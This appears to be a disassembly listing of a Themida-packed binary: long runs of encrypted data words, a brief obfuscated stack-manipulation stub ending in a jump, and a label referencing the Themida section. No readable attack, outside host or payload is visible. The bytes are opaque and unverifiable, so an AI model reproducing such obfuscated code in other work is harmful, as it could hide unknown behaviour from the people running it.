		dd 0E983C87Dh, 8BA4F305h, 0B2BD8DDBh, 8D060DF5h, 0E10998Dh
		dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h,	0F4904C7h
		dd 0FFFFF285h, 83C08BFFh, 71ACDBDh, 9750006h, 1135BD83h
		dd 74000607h, 8B535019h, 411B8C0h, 85890000h, 6072F81h
		dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
		dd 411B853h, 85890000h,	6072F81h, 0AAC89D8Dh, 0D3FF0609h
		dd 0C08B585Bh, 72A4F2BBh, 8EB46h, 0FF000000h, 0E96320B4h
		dd 4B1h, 0E133568h, 6B49E906h, 9F68FFF9h, 0E9060E13h, 0FFF96B3Fh
		dd 0E150568h, 6B35E906h, 0ACDDFFF9h, 0B1DD8419h, 0ACDA8116h
		dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h
		dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395E0h, 0F92C6335h
		dd 6CF9ECA0h, 3CDDA035h, 69570795h, 49A31CF8h, 85867043h
		dd 642DC255h, 604EE4DCh, 47A2222Ah, 3ED704C5h, 0BD2AF69Dh
		dd 1439C11h, 58C33CEh, 0EC5D4BD3h, 37439C10h, 581CC364h
		dd 15BB7BC5h, 0F3E2E432h, 0D51FB6A0h, 1704AF52h, 0D3BD0551h
		dd 2D6DFh, 0C03E4300h, 68FEF67Eh, 0A2F8D07Ah, 31B88B47h
		dd 54C5B363h, 9F439CE8h, 76113DCCh, 64C36CFh, 0B87A02D0h
		dd 4EBFAD5Dh, 0B8463782h, 1DC7115Fh, 1EF17935h,	91891134h
		dd 0BF330DFBh, 7B4E4436h, 0ABA32BD4h, 0B6DB2715h, 0CFA23E2Fh
		dd 0C5609039h, 0BE598930h, 15ACB8E8h, 52D302F3h, 2F6h
		dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h
		dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h
		dd 95DF1384h, 75475E43h, 0F48A820Ah, 9A007506h,	57EDC047h
		dd 55EA7BAEh, 0D0FC7BAEh, 0E0E15240h, 592C4395h, 0D77811B8h
		dd 90AC6430h, 8C35B9FCh, 0DDDEC859h, 0CE441AADh, 34FA61D2h
		dd 28C8405h, 5C8D0000h,	618D34C9h, 5C8A31C6h, 56852CC1h
		dd 4C7F26BBh, 718924B9h, 5DF283B6h, 57EC89B6h, 4EE37EB0h
		dd 4BE077A7h, 0B122107Eh, 0FC4395DFh, 820A13E5h, 2CD36E9Ch
		dd 0DDC22A93h, 0E8BB3086h, 7E01B147h, 78263022h, 70B6A0D0h
		dd 4799DFDFh, 9928F2Ah,	653A1BB4h, 5DF69D38h, 0A8741BBCh
		dd 4395BF3Bh, 86BB8568h, 9C2FD403h, 4F70D96Ch, 0BC15FFB4h
		dd 1FBD6919h, 192C3h, 0FC2C2700h, 0B3BC269h, 860ED76Ch
		dd 33D46DA0h, 805AF9Dh,	0EDC047A3h, 0D70D7A46h,	2351439Ch
		dd 2E5AE188h, 0CA0844C7h, 0A1636Dh, 8A5D259h, 8C88964Fh
		dd 0B33503E6h, 1FB5D922h, 36B8h, 820A1C00h, 0C144F48Ah
		dd 59AB962Bh, 85CBB541h, 47A25D03h, 0B74B7720h,	9C3C58C9h
		dd 2FD0A343h, 0D1784B45h, 9C3C9805h, 54E2C543h,	0B6764392h
		dd 0AF991Fh, 2CFD0000h,	34C269FCh, 17BE598Bh, 6093947Eh
		dd 0E0901EC5h, 0A3F281F2h, 0FF9CC49h, 0A047DE0Eh, 0B94EE919h
		dd 0A3EE36CDh, 1196C649h, 12A748E3h, 33C9C149h,	9C52BB45h
		dd 8D23F647h, 427EEFDDh, 2EC9439Ah, 0FA46DEE2h,	0CBB55673h
		dd 4EE71AC3h, 0A91A08B8h, 0F4439A31h, 45DBB821h, 5450FA4Bh
		dd 89BC636Ah, 201AB830h, 20C15951h, 66C3E24Ah, 60E110FAh
		dd 126h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch, 0B84DE817h
		dd 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h, 535DC71h
		dd 0A210DD72h, 95DD43B4h, 0A5778E43h, 0D368F92Ch, 0D469FC2Ch
		dd 69FC2C62h, 6C0B3BC2h, 0C6860ED7h, 0B9E9267Fh, 8871B51Eh
		dd 847208A9h, 47A274B0h, 43DE10B9h, 0F68C5F59h,	0F2871A4Dh
		dd 9BE49906h, 0C253D643h, 31762485h, 83B3B49Eh,	6ACB4EE4h
		dd 50C1AF3Dh, 9B439BBBh, 0C1825FC8h, 6D1B220Ch,	160091C4h
		dd 3161E215h, 3FE079A8h, 8F76F79Eh, 0B0000000h,	92255700h
		dd 0D7E52EBh
		dd 58439BBEh, 0ACF9B85h, 0D46D9C82h, 5DF3942Dh,	40D104ADh
		dd 8B1056h, 0F3C6479Ah,	295C54Ch, 0FF96C66Dh, 5ACBB969h
		dd 0A54395E0h, 761DB8E4h, 60D33CDDh, 0F06E0646h, 0DBA7C0AAh
		dd 20AB3E6Ah, 0E650DE71h, 0E38A1FB6h, 62F326B3h, 0DA8122BBh
		dd 6B9B2453h, 0D74836CCh, 22DE673Eh, 9C07AE4Fh,	2B5BC553h
		dd 2050F78Ch, 2FD06797h, 140788h, 257D0000h, 9ECB4C7Ch
		dd 1EBF58FFh, 25F4DE77h, 962F5E07h, 0FB2CE0ACh,	0C3CC36Ah
		dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh
		dd 4C7A01A8h, 57830AB1h, 686711B8h, 7750h, 68241489h, 663Eh
		dd 68241489h, 429Ah, 68242C89h,	62F7h, 0B8240489h, 6D5F646Eh
		dd 9128422Dh, 3E0C103h,	9C30EF05h, 58C289B7h, 119368h
		dd 24248900h, 4240481h,	5D000000h, 38ED68h, 24148900h
		dd 0C3243481h, 8F025B78h, 75810845h, 5B78C308h,	242C8B02h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815A2434h
		dd 4C4h, 66B1E900h, 42F3FFF9h, 0CA7D280Ah, 0C3D9078Fh
		dd 0E3FB2898h, 1650B80Fh, 0C503060Eh, 7923E0FFh, 0B2704F94h
		dd 51D81765h, 0A6677B52h, 4EB6AD5h, 45F2F05Dh, 574E9h
		dd 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh
		dd 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h
		dd 0DB40B19Fh, 748B4395h, 69FC2CA2h, 0C43523D3h, 0F49A3F2h
		dd 0B239523Ch, 0AA51E67Fh, 0AD34DB7Ah, 0BC43EA7Dh, 0C74EF590h
		dd 0D45B0295h, 0B6670EA7h, 27F333FDh, 6C9C8A94h, 3F2DBDEBh
		dd 49A3F2CEh, 4A54619h,	0D96C86Fh, 0DA243DEh, 0FAA13466h
		dd 0FA95C36Ch, 0CFD0BA53h, 0C46D03A2h, 0BF58FF92h, 851BCD5h
		dd 0B059093Eh, 9E0FE37Eh, 0E949A3F2h, 0F92B2C16h, 6B1BC95Eh
		dd 0A3F20C7Dh, 8A235049h, 44452F02h, 0EDA8114h,	49A3F2A0h
		dd 0E4D28288h, 49A3F273h, 9708F6BEh, 0E249A3F2h, 0EAD86E0Fh
		dd 49A3F279h, 0AC07F1C4h, 0C0795C62h, 586319AEh, 0C7000000h
		dd 0C269FC2Ch, 0A3F28BF6h, 0C0696F49h, 0B54EF590h, 20A670CBh
		dd 19AEBFB5h, 127h, 2C8B00h, 0E677649Dh, 0C8697D2Dh, 0CF6E9A21h
		dd 179A28h, 55E866DBh, 16454630h, 7D10D47Bh, 0BE5985B3h
		dd 0A5D27B29h, 0ED1D1E08h, 9417C55Ah, 59ED3A7Dh, 4AE5131Ch
		dd 2CF3BFA9h, 22D268F9h, 0A3F2C334h, 58460E49h,	49A3F1E7h
		dd 0D4BE5F32h, 6D0834BBh, 65002ED7h, 223B25BEh,	0C06EB871h
		dd 0DB5EF48Dh, 316883FEh, 707761BFh, 57FE99C9h,	0BA2B19C9h
		dd 2449A32Ch, 9E83AAC3h, 15E87092h, 61FC2A2Bh, 6A0533BAh
		dd 0D64735C3h, 2149A306h, 0F493BF4Eh, 60D1BF4Dh, 0AB49A306h
		dd 0D8661FD8h, 45D3B65Ch, 0AFAA6283h, 739819h, 25FC0000h
		dd 23B94C7Ch, 0A3F2C435h, 523C0F49h, 0DC831E51h, 0DE79A54Eh
		dd 0B3B49E37h, 7F43EA85h, 0C1F422ECh, 0BFF19A30h, 0FAE47D24h
		dd 88194CF3h, 922B5AE1h, 842353FCh, 415A44DDh, 7076C0A3h
		dd 19AEBE75h, 4867h, 0B8E68F00h, 2C67331Dh, 3AC168F9h
		dd 56C66D08h, 0E215BE6Eh, 3B0FA84Fh, 49A3F2CAh,	0A5174534h
		dd 0B840E4D6h, 96A0FBE5h, 47DC75A8h, 65002CD5h,	0F284F2BEh
		dd 136C49A3h, 386B1405h, 7B5AB39Dh, 6119AEC0h, 1, 497C25C5h
		dd 5CFD98CAh, 31321CB5h, 22D26803h, 0A3F2C334h,	513B0E49h
		dd 0E681B138h, 0BD8BD43Fh, 35CA6593h, 56ECE46Ch, 40E77AADh
		dd 0F253C4B2h, 0CB9E49A3h, 4A38402Ah, 47A309D0h, 0EA7118EBh
		dd 63FE2DBAh, 0ED8223BCh, 0CB6A963Fh, 15B0E0E1h, 0D937A26Eh
		dd 538E439Ch, 7BAB54C5h, 871A4DDCh, 5C5D47E0h, 5D04992Ch
		dd 65F39A2Dh, 120090BCh, 439CD9A1h, 8E7819ECh, 23CA5D8Dh
		dd 0C16FB972h, 3DD80891h, 0CD08079Ch, 0FB1FB5D8h, 9BB5AB78h
		dd 0B6A0316Eh, 141C2h, 820A2600h, 1B4BF48Ah, 523CD57Ch
		dd 0F9AE5C4Ah, 0A67947A2h, 815D8D10h, 0A94981FDh, 9518A6BFh
		dd 11516721h, 4211B919h, 0ED734579h, 3161624Ch,	2A5A0196h
		dd 0B6E56E9Dh, 3AD37A1Bh, 3B6BF299h, 42E97CAEh,	4EE71AA9h
		dd 9C5506ADh, 0C8F49D92h, 3ED862Dh, 9E33D202h, 0B64A369Fh
		dd 43A41Fh, 0A080000h, 0BF98F83h, 49A3F2EAh, 8D1BC295h
		dd 0B8EFD00Ah, 0BDA74767h, 0A3C10677h, 3AC2A49h, 0DAD470D7h
		dd 0FBCDD3B4h, 2CB35Ah,	8425BE65h, 25F13F9Ah, 2614AA9Eh
		dd 49A3CC05h, 0A748DDB0h, 9Eh, 8A820A1Dh, 0EE9406F4h, 0CDF47A2h
		dd 5A0CD76h, 0C8B24376h, 5DF828AFh, 7C6A1AC8h, 439CEE0Bh
		dd 0E38A1D4Fh, 5EFC24Ah, 9A41D404h, 9CEE16CEh, 0DE77A643h
		dd 0E37EB037h, 5BE5783Ch, 1E2863DBh, 0D0650030h, 6A997F07h
		dd 0EE8F28CFh, 7C85D558h, 8AF392BFh, 947E02D2h,	7FE49E8Ch
		dd 0AC7F4192h, 0B74E7E05h, 0D25CA510h, 1B59DA5Dh, 257D450Dh
		dd 3528E326h, 523CDD73h, 19AFA72Fh, 250A7B69h, 82553D8Eh
		dd 0E8A29098h, 753B842Eh, 1C069FCCh, 0CBA4F22h,	0DFD6E5Ch
		dd 75483780h, 820ABF8Bh, 4C06F48Ah, 0E74799FCh,	0E4E9844Ch
		dd 0CC6D0D25h, 0C2EE9725h, 8383923h, 7A2AD86Dh,	957C1B8Ch
		dd 78A56643h, 51523CDDh, 13DF8621h, 5F92048h, 943BD608h
		dd 9D44DF0Dh, 0DF5FE932h, 0FC2AD313h, 3721BA61h, 0B4E452DCh
		dd 5BDE8C21h, 0F3944A32h, 30311B59h, 30BE6500h,	1F219280h
		dd 996CFF98h, 0E67FAEAFh, 0EF8AB83Fh, 0F994C148h, 5EE8A152h
		dd 14226BDEh, 0C65BFA2Ah, 90BF6818h, 0E1B54EF5h, 0FF981F70h
		dd 0FDFEE8BBh, 12933ACDh, 13h, 90405E88h, 4A1EB9E7h, 49A3F2D9h
		dd 90C25124h, 2C3F0BF5h, 3CC36AFBh, 4BD2790Ch, 50D77E19h
		dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
		dd 6711B857h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68241C89h
		dd 6126h, 51241489h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 0BD55241Ch, 25EB3A8Bh, 43FFCD81h, 0B95156B6h, 22611126h
		dd 5E1C141h, 7627C181h,	0CD0141ECh, 5DEA8959h, 566D68h
		dd 24248900h, 4240481h,	5B000000h, 89D78957h, 3C8B087Bh
		dd 4C48124h, 8B000000h,	8953241Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 148B5C24h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 610DE95Ch, 7298FFF9h, 1BDDB8DEh, 0C503060Eh
		dd 0B655E0FFh, 998164E7h, 0DBC739E7h, 0D0FE701Bh, 66155AA6h
		dd 104804A4h, 6C7D2BECh, 3AAA48F0h, 0AB5C1BB6h,	7CB146D4h
		dd 56FA159Ch, 0FE196B68h, 11F51335h, 0C73F41A3h, 6FF92A06h
		dd 9E86B0Eh, 6D000000h,	0E95620E8h, 9CDF80AAh, 5FD2B70Fh
		dd 81F0B70Fh, 6ADDC7h, 0EE900h,	2AE20000h, 0C118447Ch
		dd 454407D4h, 0F7023F78h, 0DB80C02Bh, 70C8B72h,	5EF08B53h
		dd 1E17E981h, 13E92824h, 6000000h, 7C3611CEh, 3F71ED0h
		dd 76A52C50h, 4F4688D0h, 0E981272Ah, 23ECD5CBh,	14880F57h
		dd 0E9000000h, 0Fh, 24283B3Dh, 5C7405F0h, 97A2655Bh, 5B2CBBDAh
		dd 0B70DF181h, 9E873BCh, 35000000h, 4BD64502h, 2BFB300Dh
		dd 515BF08Bh, 8FDFB70Fh, 66F80704h, 22BEDB81h, 0E904E881h
		dd 8B667F6Dh, 0C081F1h,	0E87F6DE9h, 6, 849313DEh, 8A0FCBD8h
		dd 2, 815EF08Bh, 0FF9618F8h, 10850FFFh,	0F8000000h, 2BE9h
		dd 55057300h, 0D4173396h, 0E9DE930Dh, 10h, 3577C700h
		dd 6673B013h, 826B61CCh, 0A64F239h, 0FFFF3CE9h,	943161FFh
		dd 5E66A5DCh, 94A804EBh, 4FE91A45h, 64000005h, 660DA233h
		dd 5F069B3Ah, 5A019631h, 56FD922Bh, 62FD9223h, 0C95C8F4Ah
		dd 0C5608D34h, 0BC578930h, 0B5508027h, 0F7E55320h, 4395D586h
		dd 2CE8BAD1h, 23D369FCh, 0A3F2C435h, 0A2130149h, 0ED49A3F2h
		dd 0A3D1921Ah, 27C86108h, 0F232A391h, 0AA7D49A3h, 0ED20A7C0h
		dd 0E818BF54h, 0DB0EB74Dh, 55C6B44Ah, 0A049A3F2h, 43CAE3CDh
		dd 3FCD7413h, 753F15BCh, 22B8407Eh, 0A339C334h,	513B0E49h
		dd 0E2892450h, 8CBD8B1Eh, 2D17B6E3h, 0D469FC2Ch, 0F24D7D26h
		dd 763EAE5Ah, 1701A2E1h, 0BB51E416h, 5D47E612h,	0EA7DAF56h
		dd 0F68FBC43h, 29BC84Fh, 11A4D45Bh, 24F2C36Ah, 7110E920h
		dd 49EA3B38h, 345DE0D6h, 21D99687h, 6106B55h, 9F3A6811h
		dd 0EF82B4B5h, 0A29AC5Ah, 83843CA7h, 0B1E1E2CCh, 35A36F16h
		dd 1D49A330h, 61747AC4h, 6719AF82h, 53FA8BBEh, 64DCD0BAh
		dd 40000000h, 8145A225h, 0B5A68D11h, 0FB9ACACBh, 0F01DC654h
		dd 0BC0AEC55h, 4862C86Ah, 20AD185Eh, 389149A3h,	91EDE8EEh
		dd 1EF19AFh, 53000000h,	0BE65002Ch, 0C56C0B37h,	0CF760F3Eh
		dd 2A48CB0Bh, 0CE9EA2C8h, 20C15484h, 21C86391h,	0F5439E88h
		dd 0EB801F4Bh, 0EB811444h, 39C2E768h, 32CB720Dh, 80984EC9h
		dd 2C1D8F96h, 3AC168F9h, 41C86F0Eh, 49D07712h, 6FDA811Ch
		dd 631C1826h, 8C2554FDh, 4FF947A2h, 4DF4891Ch, 32BFC21Dh
		dd 40B6E047h, 37D87914h, 40DB0990h, 0E18FB99h, 6F239619h
		dd 78873843h, 220CAD48h, 0AFAE1CC9h, 0D401AA19h, 0DE77AA39h
		dd 0C0B49E37h, 7Eh, 0D94A38E8h,	1649A2F8h, 0A2F8B728h
		dd 0A72F0249h, 2C1EEAD4h, 3AC168F9h, 6CA710Ch, 487BA573h
		dd 0F259CAB8h, 0D1A449A3h, 44ED9B30h, 93947E17h, 901EC560h
		dd 3620B7E7h, 0C46B0635h, 0F3F54326h, 19AEBDF2h, 5AE8h
		dd 39671000h, 745EF79Eh, 7AF92CA8h, 6A11B24Bh, 6F16B1E3h
		dd 781FBAE8h, 0C561A117h, 0C9BB273h, 3E9F46DFh,	85C3D143h
		dd 6720D9E0h, 0AAE55DD9h, 0E67FB29Ch, 2CDF51h, 8730BE65h
		dd 7D16BD58h, 0F2DF4D93h, 6EC749A3h, 94C66FA0h,	0D7C15A01h
		dd 0AEC0577Eh, 18519h, 2CE90000h, 35BC63FEh, 33DC7205h
		dd 26BF6601h, 6FB8233Ch, 0E64977A1h, 0E1D53071h, 23B859CCh
		dd 44DAD25Ah, 0AD062DC1h, 4BDAA3B0h, 3ED77E19h,	0E45E4C54h
		dd 0FF47A227h, 47F7852Ch, 1D9DADC4h, 0A1759DADh, 439C1B30h
		dd 0BDBEA87Bh, 43DE0C8Dh, 36660DA2h, 0E76AF89Fh, 0C18DA4B9h
		dd 2A00690Bh, 57833234h, 107BC1ABh, 50439C6Ah, 5AE18821h
		dd 79E9902Dh, 0BC34F03Eh, 5989B781h, 528229BEh,	55850CB3h
		dd 0B16A1BC2h, 0EE89B967h, 6E28AB59h, 0AD72DE4Fh, 0A91A089Eh
		dd 0F4439C5Bh, 0F7DE3721h, 0E51FB656h, 11Bh, 8A820A49h
		dd 0FA5806F4h, 502347A2h, 65F222A9h, 62FBA235h,	55852CC1h
		dd 0E96EDFCDh, 0E6B9439Ch, 0E7179E45h, 0F022A950h, 0F427AE55h
		dd 8A94473h, 68B6F161h,	0EC3AF3ACh, 0DE731242h,	0B5C8F6DFh
		dd 60E41Fh, 25480000h, 0CFB94C7Ch, 9B3125ACh, 0F28CFDEBh
		dd 0DBC949A3h, 49A3F26Ah, 995AE2B5h, 912AD16Ch,	10FE06F0h
		dd 49A3F2EFh, 5420C79Ah, 49A3F2E3h, 0B65DF827h,	0BF66012Fh
		dd 59BCF55Eh, 8D00D28Eh, 8B3AFA44h, 19A06CBAh, 80A18F25h
		dd 2B49A3CFh, 8022C358h, 5C000000h, 42E984B3h, 51EC1AA9h
		dd 820A9B67h, 5644F48Ah, 49A3F1E5h, 0A6416F30h,	36C566FFh
		dd 7F877104h, 0A2ED1F91h, 0F0976A47h, 99E3969h,	0EC933262h
		dd 9CED6820h, 30C9F843h, 35D00289h, 3766F58Eh, 438CF79Eh
		dd 86C139F5h, 0C75E8EB8h, 0E9E16932h, 0FE6D6553h, 0B1844192h
		dd 0A4D37C0Ah, 0EE1E1F09h, 0FC45B057h, 625AE232h, 0E0E6DECCh
		dd 2AFD3B84h, 2ABEEB94h, 80B0CB3Ch, 0A2431637h,	253FB1B8h
		dd 0D10C85A2h, 48323C00h, 0FA59D25h, 995C2921h,	94823247h
		dd 43952C23h, 0B7B19B6Eh, 72A54EE4h, 0B66A9017h, 630494CCh
		dd 0A9D96079h, 9FCF780Eh, 0DEC86108h, 4D8029D7h, 60F325B4h
		dd 353620B9h, 33DC7205h, 657E6807h, 4F6D0899h, 0B27C0F57h
		dd 2CC15484h, 1BC25585h, 25CC6594h, 30D76E9Eh, 38DF7AA9h
		dd 83838DC8h, 0CF79C710h, 0CC73089Fh, 0E162099Ch, 3, 2C7C5E57h
		dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h
		dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h, 81E18951h
		dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 0A4685C24h, 8900006Bh
		dd 5468240Ch, 89000007h, 3FB9242Ch, 814E6C1Bh, 0A5650BF1h
		dd 8AE1812Fh, 416CED49h, 3C40BD55h, 0E9314C17h,	81D9F75Dh
		dd 2F9677F1h, 2C8B54D5h, 4C48124h, 68000000h, 2E1Fh, 81240C89h
		dd 8BE242Ch, 458F6995h,	8458108h, 699508BEh
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_544543
; ---------------------------------------------------------------------------
		db 0DFh
		dd 18DF5CD8h, 9ED49292h, 18B8D7E1h, 7DB87CD5h, 3060E22h
		dd 3EE0FFC5h, 0F657E5D3h, 0E92431C5h, 0A3BD4B2h, 8D7AFA5Eh
		dd 2A1D359Ah, 0FD76DFEAh, 16786C8Ah, 85610106h,	4B1E443Eh
		dd 0CA1F4EE3h, 8D7BC4F0h, 6A64C2DAh, 542BFFAAh,	8421C763h
		dd 0CB775731h, 0F807E68Eh, 8749AD42h, 0D60C38A6h, 25100FB8h
		dd 0D64BE9DEh, 0EB52BE5Eh, 4F300810h, 0F9490855h, 4F52513Fh
		dd 274A7FCBh, 6A0D77E1h, 0E9472024h, 0EDh
dword_5AEB50	dd 0D88C6660h, 840F04A8h, 0DFh,	9BDB58Bh, 0FE830607h, 22850F00h
					; DATA XREF: Themida_:0053F008o
		dd 0C6000000h, 709CD85h, 69684506h, 0FF8E7269h,	7059DB5h
		dd 38858D06h, 0FF060A70h, 0DD8589D0h, 8B06072Bh, 0E93E80F0h
		dd 31850Fh, 858D0000h, 60C7C95h, 0BD8BD0FFh, 60728F1h
		dd 1184C781h, 0B58B0000h, 60709BDh, 8B9F787h, 0F3000000h
		dd 0BDB58BA4h, 8D060709h, 0AAD5985h, 8BD0FF06h,	70055B5h
		dd 0FE8306h, 22850Fh, 85C60000h, 60709CDh, 0BEF46854h
		dd 0B5FFFF4Eh, 607059Dh, 7038858Dh, 0D0FF060Ah,	558589h
		dd 0F08B0607h, 0FE93E80h, 3A85h, 55B58B00h, 8D060700h
		dd 0C7C9585h, 8BD0FF06h, 728F1BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 6070055h, 8B9F787h, 0F3000000h, 55B58BA4h
		dd 8D060700h, 0AAD5985h, 61D0FF06h, 91858DC3h, 89060E23h
		dd 7284985h, 5A8D8D06h,	0F5060E25h, 1AD98D89h, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0FCF4F4C3h, 6830Fh, 0E7810000h, 63613E3Bh, 1D85C7F9h
		dd 0E0060710h, 6A00006Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C341C352h,	0F5CD99C0h
		dd 330585C7h, 607h, 890F0000h, 2, 0B5FFF08Bh, 6072639h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4C35040h
		dd 7019589h, 95FF0607h,	6071859h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 54C35747h, 0D22A40C0h, 881858Bh
		dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B67F4CEBh, 0E7DC0E11h
		dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh,	0C2BAA86Fh
		dd 0FCEB6D19h, 2E8EB5E6h, 8D28BA4Eh, 4AD57650h,	0FCA228D9h
		dd 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch,	65284219h
		dd 220B2451h, 0B0344AFEh, 4EB68EAh, 4D467619h, 0D32E9h
		dd 278C6800h, 0C4E9060Eh, 68FFF957h, 60E28B2h, 0F957BAE9h
		dd 2A6568FFh, 0B0E9060Eh, 68FFF957h, 60E2B8Ch, 0F957A6E9h
		dd 2EE368FFh, 9CE9060Eh, 68FFF957h, 60E3038h, 0F95792E9h
		dd 312A68FFh, 88E9060Eh, 30FFF957h, 2AD166FFh, 23CA5FFEh
		dd 1EC55AF5h, 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h
		dd 780B3DE4h, 790C3CE3h, 0BBA917E4h, 4395CD4Ah,	2CAC7E95h
		dd 158674FCh, 6049A3F2h, 0BE45EC8Dh, 0B861F78Eh, 0B049F089h
		dd 761FADC6h, 710AB144h, 0C1548687h, 0C766931Ah, 0D16C9920h
		dd 0D37A1342h, 5FDF6922h, 0AB95A3ECh, 0A047DC7Bh, 983FD46Dh
		dd 13B2DF68h, 8B32D36Ch, 912454FDh, 666751EAh, 5C0A9F36h
		dd 0F24DBEACh, 0C59849A3h, 3830B8DBh, 80AB4A2h,	0F2C547A3h
		dd 0EBDAD95Ch, 0E1DF398Ch, 0A512DEF7h, 0E9439C9Ch, 0F27920BBh
		dd 0CB7C23C2h, 62080412h, 5FFA29D2h, 0CA0C1A75h, 1FB6120Bh
		dd 47D1h, 2050F900h, 5B45DE85h,	8A820A8Fh, 18406F4h, 0DCAF47A3h
		dd 0D2FEA735h, 0DB821545h, 61FAA142h, 0E1C43177h, 0EF1439Ch
		dd 38660F00h, 49EA7DAFh, 0C61F09A2h, 1FB5D10Fh,	0CBCDh
		dd 1E4CF500h, 0B443DC83h, 3602EC85h, 0C269FC2Ch, 0C66D083Bh
		dd 5A8A0F3Fh, 0E5731ABBh, 8E78093Ch, 34CA5D8Dh,	17BE598Bh
		dd 89FAE87Eh, 0D449A3F2h, 24101701h, 49A3EE8Ch,	0C459EC1Ch
		dd 0B35AED1Dh, 0F48A820Ah, 0A2FECC06h, 84B05947h, 0F46553E9h
		dd 3F439CCDh, 0C088826Ch, 1633B43Dh, 380C8624h,	439BFAC7h
		dd 0BA42DD0Bh, 3B146E7h, 0E908E80h, 0A18B90A3h,	68FEF67Eh
		dd 948CCD7Ah, 2FC59841h, 2DC25386h, 0ECC25386h,	0F07EA233h
		dd 82CF507Fh, 0A000000Ah, 9A41D66Fh, 933ACF6Eh,	8E35CA65h
		dd 8A31C65Fh, 8E29BE57h, 0ED88BB76h, 0E984B158h, 0E87BAD54h
		dd 0E97CAC53h, 2B198754h, 4395CBBAh, 2C1CEE05h,	2CD368F9h
		dd 62D469FCh, 0F48A820Ah, 0D60AD71h, 6F59ECF1h,	0ACF77967h
		dd 6B1447A2h, 0EA85B13Eh, 2F41A249h, 2834977Ch,	5D5741E2h
		dd 6ED76A9Ch, 2A217E3Dh, 0AC53F482h, 9C0073E0h,	6710A043h
		dd 5BF49B3Ah, 66D7C5h, 0DEB1439Ch, 498F99F4h, 1FB6B28Ch
		dd 0D54Eh, 0FC2CB200h, 83BC269h, 29B84F7Fh, 25BB5CF7h
		dd 0D3C14F7Ch, 49A3F262h, 4F39DAADh, 0EDD26A36h, 326249A3h
		dd 3CDD78A5h, 3FCFFDA6h, 0A3EDE051h, 0B7582B49h, 0EF1FC6CDh
		dd 0ED047563h, 7C4F49A3h, 38B34DBh, 0B158EB1Dh,	0F3E17718h
		dd 47A2FEB9h, 3EEC8154h, 26CD6895h, 0F880A38Dh,	91C16A00h
		dd 95C84FF6h, 0A0CC5BFCh, 0DBC55E05h, 33DDE5D3h, 4C144195h
		dd 9322ED5Eh, 0C465383Dh, 0BF52852Eh, 0DECC7C2Ah, 3D93236Dh
		dd 2DC8F7B8h, 6EA1A28Ch, 1B3CFDD3h, 97C6F07Fh, 95C16h
		dd 0AC497A00h, 0A9447017h, 0A43F6D14h, 0A039680Fh, 0A031640Bh
		dd 9D58700Bh, 9B42D76Ah, 933ACF6Eh, 8A31C661h, 5926BB5Ah
		dd 0CA8CFDEBh, 0C0D74395h, 68F92CEEh, 69FC2CD3h, 7C2562D4h
		dd 750EB550h, 0BB5A8A8Bh, 0CA5D8D14h, 0F2DC4935h, 0F02049A3h
		dd 6212C055h, 0A3F20374h, 917B4E49h, 1EC56090h,	29D06797h
		dd 0C771BF78h, 0C16A0097h, 70EF893h, 0AEBFCD08h, 4F78FB19h
		dd 7DEA3751h, 0D431745Ch, 3FE0C2B8h, 796155h, 0AC50000h
		dd 6F48A82h, 47A2F2C8h,	2DF9A073h, 439CF2C0h, 0BA3C0AEDh
		dd 1FB5BC1Bh, 5AC1h, 1340E900h,	25C4907Ah, 0EB5507Ch, 20C15487h
		dd 0F282F036h, 1CA449A3h, 1AA08E24h, 5547A2F4h,	1346ED82h
		dd 0AA32DB82h, 5A0194C4h, 9C8A20C1h, 419BFA12h,	37E57A4Dh
		dd 23CA5B8Eh, 6D9FA08Ah, 0FCA533DAh, 0F89138C9h, 6B63EB0Eh
		dd 0C941E7D5h, 29FC3B94h, 560F394h, 25690000h, 99C7507Ch
		dd 1DBE57FEh, 0DDC75E8Eh, 1D4C32BAh, 5F4DE384h,	47A2ECADh
		dd 32FEA578h, 439CECC5h, 89B962F2h, 0C4AE47EEh,	0BC19DF69h
		dd 0A1FB5C1h, 4BD7DD87h, 3FD87F1Eh, 0C5C421D6h,	0E25ED7ECh
		dd 0A38D2EB2h, 515AFh, 3927D700h, 439CC8C8h, 8A564013h
		dd 0EF77CD3Eh, 0C97361F7h, 8447A2F8h, 861E2AB1h, 0F4EBD9D8h
		dd 0F0DE746Ch, 97D6BA1Ah, 9A469A35h, 6B490502h,	5EFFA03Fh
